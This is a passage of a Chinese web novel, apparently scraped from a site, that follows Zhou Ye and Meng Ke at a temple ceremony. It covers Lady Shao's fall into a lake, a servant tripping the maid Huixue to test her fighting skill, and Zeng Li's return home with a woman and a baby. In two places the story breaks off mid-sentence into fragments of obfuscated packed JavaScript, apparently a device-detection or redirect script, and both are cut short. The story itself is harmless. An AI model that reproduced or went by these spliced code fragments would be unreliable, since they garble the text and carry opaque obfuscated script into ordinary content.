听他这么一说，几人不由都放眼望去，法会即将开始，人潮都往长阶和湖堤涌动，倒真是容易出事。 熹园的船在放生碑不远处泊下了，法会正好横陈于前，一览无余。附近的船只也纷纷聚了过来，泊在左近。 洗墨道，“也有人说，该换个敞阔的地方办这法会，免得年年都要伤人，甚至伤了人命。这前任县令撤职前本是要下令禁止，索性不办的，说是免得这放生倒成了杀生……” “要是怕出事就不办，那这镜月湖也该盖个盖子——这一年到头，不得溺死多少条命？”周冶道，“有这放生法会，农人猎户年前抓鸟捕兽，还能赚笔银子过年关。这一日的热闹，吸引商贩来做做小生意，也能赚些碎银子。买卖双方，各得其所。官府是该派些人来，防止意外，及时救护；却不该因噎废食，图省事，便一刀切了事。” 孟珂点头道：“周大人这话是个有担当的，只是，其他人却不肯费事，做这等惠民，但于己无益的事——保了平安无功，出了事反倒有过。” “不过，要说放生反成杀生，也有这么回事。听说，这几年卖的年兽越发多了。但绥陵这样的小地方，有那闲钱赎买放生的人总不过那么些。那些人卖不掉，也不情愿带回去费粮养，最后少不得折价脱手。” “故而，这绥陵倒有了个奇景：逢年过节，鸡鸭鱼肉菜蔬见风涨价，吃野味反倒划算些，也渐渐形成了逢过年吃野味的习俗。平白添了许多杀孽，只是其一。因着这放生法会，原本入冬就禁渔猎的，衙门也放手，睁一只眼闭一只眼。可谁想捕猎的一年比一年多，每年春日前都这么大肆捉捕一遭，长此以往，只怕鸟兽都要吃尽了。” 周冶心头不由一动，她果然思虑周全，由衷感佩道：“小姐这话倒是。如此说来，虽不能禁，倒也该管管了。” 这时，尼众诵经的声音，夹着香火气，随风送进了舟中。 “王者仁泽及于草木昆虫，使一物必遂其生，而不为私惠也。惟天地生万物，所以资于人，然代天而治物者常为之节，使其足用而取之不过，故物得遂其生而不夭……”（——唐《放生池碑》） *** 一时间，那半山坡的信众都沉静了下来，在那喃喃念经声中，低眉敛目，倒真有些肃穆圣洁的味道。 可这大历朝，法王大不过人王，寺庙也从来不是完全的方外之地。 比如，这头香就不是普通民众抢得到的。而这放生法会，围在那尼众近旁的，自然也都是这绥陵城的官眷富贵人家。 孟珂一眼就扫见了几个熟面孔，不由冷冷一笑，目光突地顿了顿——其间还有那日日礼佛、少有出门的邵夫人。 尼众诵偈完毕，便是善众各自在水边、林边放生发愿。 邵夫人捻着佛珠，闭着眼，一脸虔诚地发起愿来。 发愿毕，她睁开眼，使了个眼色，一旁的仆从便将所带之物都放了。 看着那些鱼儿、水鸟，入水的入水，飞天的飞天，邵夫人面上露出一种普度众生的慈悲笑意，一转头，忽而扫见湖面上的什么，那笑意倏地就散了。 孟珂顺着她的目光看去——邵夫人看的，正是她右侧的一艘花船。 方才诵经之时，那船上的男女欢笑之声仍不止歇，周围的船只不免都为之侧目。 不知那船帘何时掀了起来，露出了个美人来。 周冶循着孟珂的目光看去，微微一怔。 也不枉他上任先玩了三个月，熟知了这绥陵的各等风流人物，一眼便认出，那美人正是邀月阁的头牌，苏姒。 因其兼有妲己之妖，褒姒之美，外人取了这个诨号，后来渐渐叫开，她竟也就用了起来，倒是原本的名字渐渐不为人知了。 据说，为博这苏美人千金一笑，左近几州的巨宦富贾，便如那幽王商纣一样，挥金如土，在所不惜。因此，也不乏称其为当世妖姬的。 这苏美人向来走到哪都是焦点，自然不会去管周遭的目光，不管那是觊觎的，还是恨毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁夫人看着她发白的脸，笑得如沐春风，边朝她走边道：“听说，自曾大人去后，夫人日日念经诵佛，比往日更加虔诚。我就估摸着，今日的法会，夫人定是不会错过的。” 邵夫人强笑了笑。 梁夫人在邵夫人身侧停下，轻声道：“只是，不知道夫人今日发的是什么愿？又是替谁发的愿？您放生的……也不知是什么畜生？” 邵夫人站着一动不动，可全身都瑟缩着，肉眼可见地紧绷着。 梁夫人上下打量了邵夫人一遍，又扫了周围一眼，笑道：“夫人，你这样......让人看了，还以为我把你怎么了呢。” 却又绕着邵夫人，慢慢踱起了步，“你怕什么？今日可是放生法会，又不是杀生法会。有道是杀物者有罪，而放生者得福，可增寿延年，得解脱——我也是一颗佛子之心。” 她敷衍地双手合了个十，冷笑着侧头斜了邵夫人一眼，往前走去。 只听她口中越念越大声道，“佛子应以慈心，行放生之业。因一切男子是我父，一切女子是我母。我生生世世皆由彼受生，故六道众生悉是我父母。若见世人杀畜生时，应方便救护，解其苦难。” （——《梵网经》） 念到这儿，她住了脚，转头看着邵夫人，露出了个端丽，却眼神诡异的笑来。 邵夫人正瑟缩地抬眼看向她，不由浑身一麻，目光中又是惊恐又是迷茫。不等解其意，她的身子就突地一歪，随即在那个笑里，跌入了湖中。 事发突然，邵夫人全身仍僵直着，仿若石雕一样，砸在水面，硬硬地破水而入。 而她耳边，不断回响起梁夫人方才的一句话。 “放心，这一时半会儿的，你可不能死。我要你活着，慢慢儿地活，活着看接下来的一场场好戏呢。” 45. 试探 等邵夫人咳呛着惊醒过来，仍神魂不附，眼神直愣愣的，口中喃喃直叫：“救——救命！救命！” “夫人！”许嬷嬷扫了围观众人一眼，猛地摇了摇她，大声提醒她道，“没事了，周大人在呢！” 邵夫人闻言，眼神慢慢有了光，这才看见周围已经聚起一堆人。她慌乱地扫了一圈，没见梁夫人，这才微微松了口气，目光落到了孟珂和周冶身上。 她冲二人点了点头，脸上有明显的无措：“老身……老身，不慎跌入水中，惊着大家了。不敢烦扰大人和小姐……” “不慎跌入？”周冶重复了一遍。 邵夫人方才在梁夫人面前那噤若寒蝉之态，还有梁夫人那诡异的笑，悉数落入了几人眼中。可她在鬼门关走了一遭，一个字都不敢提。 周冶和孟珂不由相视一眼，不知她何故如此。 那邵夫人眼皮也不敢抬：“是，是我自己不小心。方才见有几个人挤过来，慌忙一让，反弄巧成拙，脚下踏了空。早见过此处不慎落水的人，不想今日自己也惹了笑话。幸得我佛慈悲，庇佑弟子偷生……” 说到这儿，她从手腕上褪下一串缠了很多圈的珠子，拿在手中一颗颗捻着，眼一闭，口里念念有词，不打算再接招了。 许嬷嬷见状忙央告一旁闻讯赶来的老尼：“天寒水冷，烦请师太寻一处房舍，让夫人去换衣服。” 老尼忙道：“请随我来。” 见邵夫人主仆一个索性当众做起了缩头乌龟，一个准备遁走，孟珂和周冶互看了一眼，也不好硬追究落水事由。 许嬷嬷扶起邵夫人，就要离去。 “邵夫人！” 孟珂突然叫住她，说道：“年前，就听闻夫人在曾大人出殡之日，曾试图自戕。今日又这么……不慎失足。容晚辈冒昧地说一句，夫人既修佛，哪里不知人身难得之理？又岂会不知福尽、寿尽，与那非时横死之别？我佛慈悲，可是不杀生的。夫人既然虔心修佛，也当好自珍重，修福修寿才是。” 邵夫人虽顿住了脚步，却低着头，也不应答。 还是许嬷嬷回头应道：“我家夫人受了惊，有些失神。还望小姐勿要见怪。” 说完，微微点了点头，就扶着邵夫人去了——那个背影，当即如临大赦。 邵夫人远去，却留下了孟珂的满腹狐疑。 她笑道：“看她劫后余生，对神佛感恩戴德的模样，哪像是想死的。” 孟珂方才那么一说，周冶便明白了。她不过是顺着邵夫人“不慎失足”的话，故意曲解，再提自尽一事。而这邵夫人的反应，不负所望得奇怪。 周冶也笑：“看来，那自尽也不是真自尽了，至少不是自愿的——可总不至于是被那个刘宝所迫。” 方才聚在此处看热闹的人都散了，回雪突然发现他们当中少了一个人，脱口道：“二公子呢？” 五儿一笑：“那儿呢。” 众人顺着五儿指的方向看去，只见卢宽正站在水边，低头看着什么。水中有什么稀奇可看？有人甚至往那边走了几步，却见他一脸满意的样子，对水捋了捋头发，转头大步走了过来。 孟珂和回雪相视一笑，满脸在说“谁去踹他一脚，让他下去照个够”。 一行人进了山门，拾级而上，往大殿走去。 孟珂不由想，邵夫人在霍茹蕙面前的样子，哪像什么恩人之妻，又哪有一点长辈的样子。她看起来怎么如此惧怕霍茹蕙？二人仿佛像是……敌人，可这二人能有什么可敌对的？ 正思索间，身后传来一声尖叫。 她回头一看，见一人咕噜噜地滚下了石阶，却正是回雪！ *** 回雪一路滚下去，沿途还撞倒了几个来不及躲闪的路人。人撞人，人扯人的，转瞬间就下饺子似地下了七八个。 “回雪！”孟珂忙一撩裙子，提步就要往下跑。 卢宽一把捞住了她：“你跑什么，让他们去！” 说话间，侍剑已经飞身扑了下去。 这长阶讲究九九之数，每八十一级就有个小平台。那几人是从中间滚下去的，滚了三四十级，但好歹在平台上停下了。 孟珂拍着胸口道：“好在法会结束了，人也四散开了。这长阶上，要是像方才那么多人，还不知要下多大一锅乱饺子呢。” 周冶也是想到此了，整个头皮都在发麻，瞪着那已经在扶回雪的侍剑，简直气不打一处来。 一旁的仆从，也都噔噔噔地跑下去帮忙了。 回雪这第一个饺子，顾不上自己，忙先向那几个无辜被连累的人道歉，一边吩咐人验伤。好在都是些皮肉小伤。 这些人看她本就不是故意的，又赔礼又赔钱的，还见有县令大人压场，便是那原想泄愤甚至讹人的，此刻也不敢生事，很快就都散了。 等人都走了，回雪才让五儿扶着，走到侍剑面前，厉声质问道：“你想摔死我一人也就罢了，带累这么多人是什么道理！我可有什么得罪你的？” “我……”侍剑涨红了脸，求救地看向缓步走下来的周冶，又看回雪，“我……不是故意的，我就是……不小心……” 怎么会是侍剑？洗墨一听也惊了。但不等想明白，他就先快嘴地帮腔起来：“回雪姑娘，误会！这一定是误会！他这人，你也不是第一天认识，从来都是锄强扶弱，见义勇为！他帮人不奇怪，要说使绊子害人……怎么可能呢？别提还要连累这么些人了。” “不小心？”回雪冷笑一声，一脸“蒙谁呢”的样子，连连问道，“怎么不对着别人不小心？怎么偏偏在这高阶之上不小心？怎么他不小心，自己倒没摔着？” 侍剑的脸已经成了猪肝色，又看向周冶：“不是……我……真的不是……” 洗墨看他的样子，心中已经有点数了，忙拍着胸脯替侍剑又是赌咒发誓，又是解释说和的。 孟珂自然早看明白了。她轻提裙摆，款步而下，意味深长地笑道：“我看侍剑……定然不会故意害你，早前更是多次出手救过我们。就不要再说什么故意谋害的话了。” 说着，又笑着对侍剑道，“她一时气恼，乱说话。你可不要往心里去。” 侍剑哪里还好意思开口。 回雪揉着摔疼的手肘，狠狠地瞪了一眼，扭开脸不言语了。 被那一记眼刀扫到，侍剑当即哆嗦了一下，原就低着的头更低了，恨不能缩成一团，找个地缝钻进去。他这辈子都没干过这种欺负人的事，还别提欺负个女子——虽然是个一眼就让他胆寒的女子。 卢宽一开始就要上前，却被孟珂悄悄拉住了，这才站在一旁没吱声。 见孟珂表了态，他才站出来，圆场道：“好了，好了，这牙齿和舌头都还难免磕碰呢。走吧！都别在这台阶上站着了，挡人路，也不安全。回雪，你也到前头，找个地方坐下来，歇会儿再走。” 众人闻言都开始走动，此事便算就此揭过了。 *** 待孟珂主仆几人走到前面，洗墨才低声问：“到底怎么回事？” 侍剑一脸委屈地分辩道：“不是我……是公子……” 周冶心头火起，剜了他一眼：“我让你去试，没让你这么……” 声音不自觉便大了，他扫了一眼前面，压低了道，“你什么时候试不行，非得在这么多人面前试？在什么地方试不行，非得在这种地方……还连累无辜！今日幸而没造成人群踩踏，若真那样，我看你怎么收场。” “我……我没想那么多，就伸脚……轻轻绊了一下。谁知道，她就那么滚下去了！” 说着，侍剑幽怨地看向洗墨，“我就是在船上听到洗墨说，好多人在台阶上挤摔了，这才想着，趁人多，不小心地......绊那么一下。” 得，若不然，他还真想不到这法子。周冶摇了摇头，哭笑不得地拂袖而去。 这一场闹剧，表面尴尬的是侍剑，可真正尴尬的人其实是他——他在试回雪，查孟珂这事，便昭然若揭了。 也正是知道他这份用意，孟珂才未挑破。可饶是人不揭穿，他也等于当众被扒了个精光。 恼火又无奈之余，周冶停了步，转头去看低头跟在后面的侍剑：“不绊也绊了，依你看，那回雪……” 侍剑抬起脸，飞快地道：“脚下无力，下盘虚空，而且也全无防备——不像是有身手的样子。” 难道是他自己多想了？周冶疑惑道。 “你们为何要试回雪的身手？”洗墨终于抓到了重点。 周冶看了侍剑一眼，转身走前面去了，丢下一句：“你说吧。” *** 这日清晨，四更过半，一个人影摸到了周冶所住的客房。 只轻轻一叩，门就开了。 来人正是侍剑。周冶跟他互相点了点头，摸黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周冶看了他一眼，知道是白说，直接吩咐道：“你注意盯着点儿，再让洗墨在下人里多打探打探。我就不信，合府上下这么多人，就找不出一个有缝儿的。” 正这时，侍剑突然斜冲了出去。 “谁？” “大清早的，我当是谁呢。” 树后走出一个女子来，竟是回雪。 周冶和侍剑互看一眼，眼中都是分明的惊诧——离得如此近，两人竟都没发现，也不知她看到或听到什么不曾。 回雪走上前来，略一施礼，笑问：“大人这是起了，还是没睡呢？” 周冶笑道：“本不打算守到天明的，谁料已没了困意，憋在屋里反而闷得慌，索性起来在这园中走走，透透气。回雪姑娘怎么也没睡？” 回雪拿出背在身后的手，将手中瓶子一晃：“我特为采这初一日梅花上的霜露，为小姐备着泡茶呢。” 她的目光在周冶和侍剑二人之间来回扫着，颇有深意地笑道，“倒是大人，还是早些回去歇一歇，这么冷的天，走久了，仔细冻着。” 说完，又一施礼，自去了。 周冶看着她离去的背影，不由想起云鬓山上遇到她们的情景。当时，回雪让小姐走，自己横路拦着盗匪，他只觉得此女勇气可嘉。而陈府赏梅那日，她救主之时身手敏捷，已经令人惊异，他也只当是一时碰了巧。 可她方才靠得如此之近，他二人都几乎没察觉——总不会次次都那么刚好吧？ 周冶道：“你找机会探一探这回雪，看她身上有没有功夫。” *** 回雪转过院墙，便将那“接霜露水”的瓶子往袖里一揣，快步而去，一路进了烟雨斋，见小姐醒着，便说了园中之事。 孟珂听了只淡淡一笑：“仍盯着就是了。只要不出格，就不管他们。” 回雪领命，推门要出去。 门外，竟又是一个回雪。 那个回雪端了茶，抬手推门，却推了个空。 两人眼看就要撞上，里面那个轻轻一闪身，堪堪避过。 而门外那个陡然一惊，茶盘一歪，就要摔下地去。幸而，一只手伸倏地追至，稳稳地托住了。 门外那个松了口气，端稳了，嘱咐道：“别这么冒冒失失的！如今这府上可有好几双眼睛。” “知道了。” 声音明显不耐烦。 “这几个人的身手都不弱，那周大人的心思还别提多敏锐了，你别不当回事！” “都说了，知道了。” 说着，抬手不悦地一挥，但那原本轻灵快捷的步伐，顿时沉稳了下来。 回雪冲着里面的小姐无奈地摇了摇头。 孟珂笑道：“时时这么拘着雨歇，也实在难为她了。” 46. 依靠 听侍剑简单说了探佛堂、试回雪的原委，洗墨当下恍然，心内笑道，公子也有百密一疏的时候，这事交给侍剑这么根棒槌，又不说清楚怎么试，不出纰漏才有鬼了。 他笑着“嗨”了一声，转头对周冶道：“公子，这事也不能……全怪侍剑。他就算今日没有下这绊子，也可能提剑上去，让人姑娘见了血，说不定更不好收场……” “你这话听着......”周冶立时咂摸出了点味道，这是既给自己撇清，顺带给侍剑开脱，还明里暗里的捎带上了他这主子，冷笑道，“这么说倒是我的不是了？” “哪能呢！”洗墨忙话锋一转，“不过，还真别说，我也觉得这回雪姑娘……不太对劲。” 侍剑白了他一眼，满脸写着“又开始一本正经地胡说八道。” 洗墨煞有介事地道：“就好像，就好像……有两个回雪！一个沉稳持重、端方大气，说话做事都极有章法，很有点......涤砚说的那个词叫什么，不怒自威！可另一个却性子活泼，甚至有点精怪精怪的，爱玩笑，还会捉弄人……” 他本来还没往这方面想过，可越说竟越觉得好像真有这么回事。 “公子，你还记得咱们那次去嘉县，偶遇她们主仆，大家一起回来的事吗？” 似乎怕周冶想不起来，又补了一句，“就是你抢人簪子，还被威胁那回。” 周冶：“......” 还能不能好好说话了。 洗墨道：“那日回程路上，小姐的马车在前，咱们骑马跟在后头。可恰逢多日未曾下雨，地上干，尘土重。马车一走，那叫一个尘土飞扬。咱们跟在后头，尽吃灰了。” 周冶不耐烦了：“说重点！” “重点就是，回雪姑娘当时掀开帘子，看着咱们吃灰，看得可开心了。” 好像是有这么回事。周冶：“所以呢？” 洗墨问：“公子就不觉得奇怪吗？” 周冶依稀有个印象。 那日，回雪掀帘，笑盈盈地问：“周大人，可要上车，与我们一同坐？” 周冶婉拒了。她似乎本就只是同他假装客气一下，立刻就带着点坏笑，看向洗墨和侍剑二人，抖出一张面纱来，在风中扬着，问道：“那个……侍剑和洗墨小哥，要不要一人借你们一张面纱，挡一挡灰？” 侍剑看了一眼那迎风招展的水红色面纱，一时倒吸了一口气，让他这糙老爷们戴着像什么，抬手谢绝道：“不用了，不用了。” 正说着，又一阵尘土扑面而来，侍剑忙闭了嘴，轻轻呛咳了一声。 洗墨已经飞快地扭头一躲，抬手扇了扇，屏住呼吸，闷声大叫道：“还是姐姐疼我，快赏了我吧。” 这时，回雪却突然回头看了马车内一眼，面色一肃，整个人都缩了回去。 洗墨一看，忙高叫道：“嘿，面纱呢，姐姐你倒是赏我啊！” 车里人哪还理他。 见那两人都想起来了，洗墨又分析道：“公子你想想，平日里，那个回雪姑娘，一板一眼的，要说把我绑起来杖责，有可能。可要说捉弄人，跟我们调笑，哪可能呢？就不像她做的事。” 周冶：“说下去。” 洗墨一听更来劲了：“我听说，有一种癫狂之症，发作起来就像……被什么东西附了身一样，突然变了一个人似的。等那癫狂一过，又好了！” 说着，他看了一眼走在前面的回雪，底气十足地道，“我看这回雪姑娘，八成就是这毛病！” 周冶：“……” 侍剑撇了撇嘴，抬手指着洗墨道：“回雪要是真有你说的那什么癫狂之症。小姐还能如此信任她，什么事都交给她管？” 他难得发挥一次脑力，连周冶都刮目相看。 “嘿——你还别不信！” 洗墨一脸认真道，“虽然我还不知道那是怎么回事。但是，她发作的时候，穿的衣服、走路的动作，还有说话的声音都不一样。有几回，我都没认出她来，还是听旁人叫她，我才......知道的。” 听到此，周冶和侍剑不由互看了一眼。 这洗墨是个认不得人脸的，素日都是根据人的衣着打扮、动作、声音来分辨人。别的不说，这方面倒是没人比他更细心，更准确。他自己平日不太愿意让人知道这短处。听他这么一说，回雪倒真多了几分可疑。 周冶想起了什么，又问侍剑：“湖边刺杀那夜，回雪当时对你很是气恼，对吧？” 侍剑不知何意，茫然点头道：“对，从林子里出来还吵吵了半天。” “可是，等再见的时候，她又像没事人一样？” 侍剑又点头：“她一会好，一会气的，弄得我有点摸不着头脑，这才问公子你……” 周冶抬眼看向了回雪，难道……真的另有蹊跷？ *** 到了半山处的凉亭，孟珂从五儿手中接过回雪的手，扶她进亭坐下：“你没事吧？” 回雪笑道：“无妨，就是些皮外伤。” “委屈你了，回去再让大夫细瞧瞧。” “真的无碍。小姐早料到他们有这一招，我心有准备，并未真摔着。” 孟珂看着她，半嗔怪半心疼地道：“都说了今日让雨歇来，你偏要悄不作声的替了她。” 回雪无奈又宠溺地笑道：“那丫头是个手脚比脑子快的人。即便她有心隐藏，要骗过眼尖的有心之人，只怕也是不易。还是得我来，才好打消他们疑虑。” 她扫了一眼落在后面的周冶几人，压低了声音道，“当初选中我们这双生姐妹，为的就是出其不意、以备不虞。这么多年，我们一个在人前照顾，一个在人后暗中保护，也只是习惯了。可来这绥陵之后，我才真正明白这番安排的妙处，实是各得其所、相得益彰。” “若非如此，小姐多次以身为饵，怎能确保无虞？来绥陵那日山上设伏也好，前些日子的湖边刺杀也罢，若让人得知小姐身边有一等一的暗卫，对方必定发动更多人手。我们哪能轻易就坏了这番筹谋？” 回雪深深地看着孟珂，说道，“不到万不得已的时候，雨歇绝不可暴露。这可是小姐贴身的护身之符。” 孟珂何尝不明白，只是不忍让回雪遇险：“只是苦了你。” “苦什么？得小姐这样的主子，是我们姐妹最大的福分。若不然，我们早就在哪个富贵人家被糟践死了，也许被卖入青楼，也许……” 回雪的脸上一片空茫，苦笑着摇头道，“一无所有的女子，有几条出路？又有哪一条，算得上生路？” 说着，她看向小姐的眼中，冒出格外的心疼——她好歹还有妹妹雨歇作伴。再苦再难，两人还能相互依傍。 可小姐呢，她一个身娇肉贵的官宦人家小姐，却比她们姐妹还孤苦。更别提，她还非得一个人硬蹚一条血路。但凡有个全心全意之人可依靠，可慰藉呢？ 她不由看向一旁的卢宽，若能跟二公子玉成其事，该多好。还能有谁比他对小姐更贴心周到，更全心全意？ 如此，小姐日后也不必进到一个陌生的家里，去看公婆姑嫂的脸色度日。小姐就能长长久久地、安安心心地呆在卢府，岂不是最好？可小姐却偏偏不做此想…… *** 周冶几人慢慢赶了上来，孟珂和回雪便也没再说了。 一行人一起继续往上走去。 卢宽一路花蝴蝶一样到处飞，飞了一圈，回来道：“这即是庵还有点儿意思，说这每段台阶都是九九八十一阶，意喻为九九八十一难；而中间歇脚的那个台子，叫不悔台。这就是说，人生路也好，拜佛问道之路，或你自己选的乱七八糟的路也罢；只要踏上了，不论历经多少磨难，都得有一颗九死不悔的心，迎难而上，方可抵达。” 孟珂闻言，脸上泛起一丝复杂的笑，冲台阶抬了抬下巴：“这两侧都不立扶手，便是因为所有的路，都需得靠自己独自走过，无人可帮扶。” 这话一说，旁边几人不由都看向她，不知这说得是真是假。 唯独卢宽的脸色，明显僵了僵。 孟珂却仿佛没看见，抬眼看着前方那已然露出大半真身的大殿，又道，“在这合计一千零八十阶之上，另有一阶，上面没有石板，需要抬脚跨过去，正是‘跨出红尘去，成为方外人’的意思。” 卢宽眼角一跳，笑着上前，打断她道：“嗨——什么跨不跨出去的。我看啊，就是石板年久失 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殿内，众人不免跪拜的跪拜，许愿的许愿，上香的上香。 周冶却见孟珂在佛前双手合十，只微微俯身一拜便了，不由奇怪道：“小姐就没什么愿望，向菩萨许上一许的？既然不许，又为何拜呢？” 孟珂笑道：“礼拜，是入乡随俗。既入了人家的门，自当礼敬。至于许愿嘛，求神不如求己。若是拜一拜便成，世间哪里还有什么不如愿之事，不如意之人呢？” “是应当求己，可小姐何须万事都这么……不求佛，也不求人？”周冶不由想到她前一夜说的“谁说我要嫁人”，忍不住道，“甚至连成亲，找个归宿、依靠的想法都没有？” 孟珂笑了，反问道：“依靠，什么是依靠？” “家人是依靠吗，兄弟姐妹是依靠吗？孩子是依靠吗，夫妻是依靠吗？” 她面上似笑非笑，似嘲非嘲，“都是肉体凡胎，谁又能依靠谁呢？人唯一能靠的，终究只有自己。不，说到底，就连自己也不怎么可靠。你的身体不可靠，你的心力、脑力也不可靠——都有背弃、抛弃你的时候。” 听着她的话，周冶的目光越来越深，不自觉地微微蹙起了眉。 孟珂抬眼定定地看着他：“你知道，看着一个原本英明睿智的人，身体日渐垮掉，心智随之渐失，连最后的意志也肉眼可见地垮下去的时候，那种......大厦将倾的无望么？” “你知道，看着一个人步步走入深渊，并把身边人一个个全拉下去，可你怎么奋力去拦去拉，也拦不下、拉不住的时候，那种无力吗？” “你又知道，看着最最亲近信任、生死祸福相倚的人，怎么说都说不明白，怎么讲都讲不通的时候，那种无法沟通，无法理解的孤独与挫败吗？” 她深深地吐出一口气，摇着头失笑道：“太难，也……太辛苦了。” 她再也担负不起了。 周冶心道，所以，她就宁愿一个人？ 孟珂心道，是的，宁愿一个人。 一个人，能走一步便走一步，能走到哪一步便是哪一步。哪天走不动了，便撒手而去，了无牵挂，也不会对不住谁。她不想拖累谁，也负担不起谁…… 殿外，卢宽还被围在女人堆里。 孟珂的目光，在他身上略略停留片刻，便穿过了他，看进了那无尽虚空中去。 每多一个在乎的人，便多了一份撕心裂肺之痛，搅缠纠葛之苦。 她宁愿心如古井，宁愿万里冰封。 *** 却说邵夫人，好好的出去放生，却放出了一场大惊惧，跑阎王殿门口走了一遭。 回府的马车上，她裹着即是庵借的褥子，脸色仍发青，身子还一直哆嗦，也不知是冻的，还是气的。 “一定是她干的！一定是她！” 她魔怔了似的，一遍遍念着，“她就是要我活着，她要我活着——暂时活着，好慢慢折磨我。” 曾铭听说母亲在即是庵落了水，忙赶回府去。刚入巷口，就见自家门口站了好些人，心中不由咯噔一下，又出什么事了？ 47. 心性 曾铭打马跑近了一看，见母亲邵夫人也在其间。她面色不太好，身上裹着貂皮大氅，还不时翘首企盼。 曾铭跳下马来，一把将缰绳甩给小厮，疾步上前，但见母亲脸上虽急，却有些喜色，端的是喜忧参半，他一颗悬着的心才放下了一半：“母亲，你怎么不好好歇着，反出来作甚？” 邵夫人声音有些发抖，也不知是激动的，还是冷的：“你大哥……你大哥回来了。他差了人，先一步回来通报。算算时辰，这会子早该到了，可一直不见人。不会出什么事了吧？” 曾铭忙安慰道：“今日街上人多，想是路途拥堵，耽搁了。母亲本就受了寒，还是别在风里站了，先进去吧。我在这儿等大哥，有消息立刻回报便是。” 正说着，就听见仆人叫了起来，“来了，来了。” “是不是大公子？”邵夫人忙伸长了脖子去望。 马车渐渐驶近，还未停稳，一个青年男子便掀帘跳了下来。 此人身手轻矫，健步如飞，正是曾家大公子曾立。他几步就到了门口，下拜道：“母亲，孩儿回来晚了！” 邵夫人一时间又是笑又是泪：“回来就好！回来就好！” 曾立：“孩儿不孝，一接到家书就往回赶，可还是没能赶上给父亲扶灵。后来想着，好歹也要赶上除夕，以免母亲和二弟年夜孤单。可路上遭遇大风雪封路，儿子紧赶慢赶的，终究也差了一步。” 这一说，众人的喜色不免暗淡了些下去。 邵夫人倒不以为意，宽慰道：“不打紧！回来了就好，回来了就好。” 看着一左一右两个儿子，仿佛两座巨大的靠山，她哆嗦着老泪纵横，但就连那哆嗦，都顿时底气足了不少。 曾铭上前道：“大哥，你镇守边关是为国尽忠，行的是大孝。父亲必不会怪你。他……生前，也总是以你为傲的。” 曾立一听不由一阵心酸，转头看着曾铭，拍了拍他肩膀，随即抬手抹了一把脸，换了副喜色道：“母亲、二弟，你们看我带了谁回来。” 说着，转头冲着马车大声喊道，“下来吧！” 带了人回来？邵夫人和曾铭疑惑地看过去，只见那马车帘子轻轻一掀，钻出个年轻妇人来。 *** 邵夫人见此心中已明白了七八分。饶是边关苦寒，一人寂寞，他要自作主张也好，带人回来也罢，也不是使不得；可怎么能不知避上一避，在大门口就这么公然挑开了。这事要是传出去，他还怎么说一门好亲呢？ 她看看那女子，又看看儿子，一时间又急又气：“这……你这……” 曾立：“母亲，她姓李，叫素娥。” 那女子走到曾立身后就停住了，不敢上前。 曾立一把将她拉上前来：“还不拜见母亲。” 李素娥看了他一眼，只好依言下拜：“素娥见过……” 邵夫人却抬手一阻，喝止道：“等等！这不清不楚的礼，我可不受。” 曾铭忙给大哥疯狂使起了眼色，又笑着上前打起圆场道：“大哥莫急，母亲今日落水受了寒，又在这风口上站着等半天了。不管有什么事，都不如母亲身体要紧，先进去再说吧。” 说着，冲一旁的仆从一扬手，“干站着干嘛，还不赶快把大公子的行李拿进去。” 曾立知道自己不如二弟细致，从善如流地点头道：“是我疏忽了，母亲，您快进去吧。” 邵夫人看着这缺心眼的儿子，一脸的脑仁儿疼，但终究不好在大门口发作，让外人看笑话。她摇着头叹着气，气若游丝地道：“莲生，扶我进去。” 就在这时，一声嘹亮的婴儿啼哭，忽而划破了夜空。 在场诸人俱是一顿。 曾立一拍脑袋，笑道：“瞧我！这都几个月了，还没习惯，总忘记多出了一个人来。” 邵夫人眼前一黑，差点没站住，还是许嬷嬷手快扶住了。 她冻住了一般，慢慢地转过头去，见一个奶妈抱着个襁褓，下得马车来。 “这……”邵夫人颤抖着手一指，当即厥倒下去。 “夫人！”许嬷嬷扶不住了，也跟着半蹲了下去。 一旁的曾铭忙伸手捞了一把，好歹没让邵夫人摔下地去。他转头看了一眼那个浑然不知有什么问题的大哥，眼一闭，实在没眼看了。 这时，暗处一个人影，拽紧了拳头，满手青筋全都暴了起来。 *** 饶是在庵中闹了那么场尴尬，周冶还是跟着原班人马回了熹园——既然已经明牌，索性厚起脸皮，继续住下去。即便避开，也只会尴尬。 雪夜，烟雨斋中又飞出了箫声——自然是那卢宽。几日下来，他已经找出了规律：箫声若久，孟珂第二日起得必迟，箫声若短，则必早些。 雪花簌簌地落，风声夹缠着箫声而来，生生添了几分莫名的忧愁。周冶忽而想起园中那几株红梅，不知在这雪中如何，一时兴起，打了把伞，踏雪寻梅而去。 走至园中，箫声已住，只余风声不时呜咽。北风打着旋儿，卷下红梅上的白雪，落下一阵阵碎雪。 他呆看许久，转身正欲走，却见一个女子撑伞走了过来。 伞微微抬起，竟是孟珂。 箫声已歇，她不该已经睡下了？ 周冶道：“小姐怎么一个人进园子里来了，连回雪姑娘也没跟着。” “睡着了。”孟珂笑道，“一个人出来走走就好，何必搅扰人。” 周冶突地笑了。 看来，她对谁都是一样的。一样的疏离，一样的不麻烦，不期待。 先前，他质疑她对老袁头祖孙的动机，她没有生气。他还有些奇怪，但想着，他们毕竟相识日短，交情没那么深厚，不期待，也……不在乎，自然犯不上生气。 这次，他和侍剑探佛堂、试回雪，她也没有生气。 侍剑还说：“是小姐天生大气？” 周冶摇头——在佛堂中，他看见了，她的心是灰的，登时就明白了大半。 “她压根就没觉得我应该信任她，应该如何待她，自然便谈不上生气。没有任何期待，也就没有任何失望、气恼。” “不，不只是我，在她心里，好像……只分她自己，和世上其他人。好像世人怎样对她，都是自然的。她只要知其然，知其所以然，就够了——她毫无障碍地接受了那一切的对待，不会因此而惹起什么心绪。” 可是，一个人，要经历过多大的失望，才能把对所有人的所有期待都熄灭了？谁没有伤心过，谁没有失望过，谁不是失望的时候发狠赌咒发誓，但不耽误下次继续期待，重又失望？ 除了难世出的高僧大德，这滚滚红尘中，谁不是好了伤疤忘了疼？有几个人能做到真的无欲无求，无期待无失望？ 可她好像真的做到了。她真的把自己和他人择开了，且择得太干净了！ 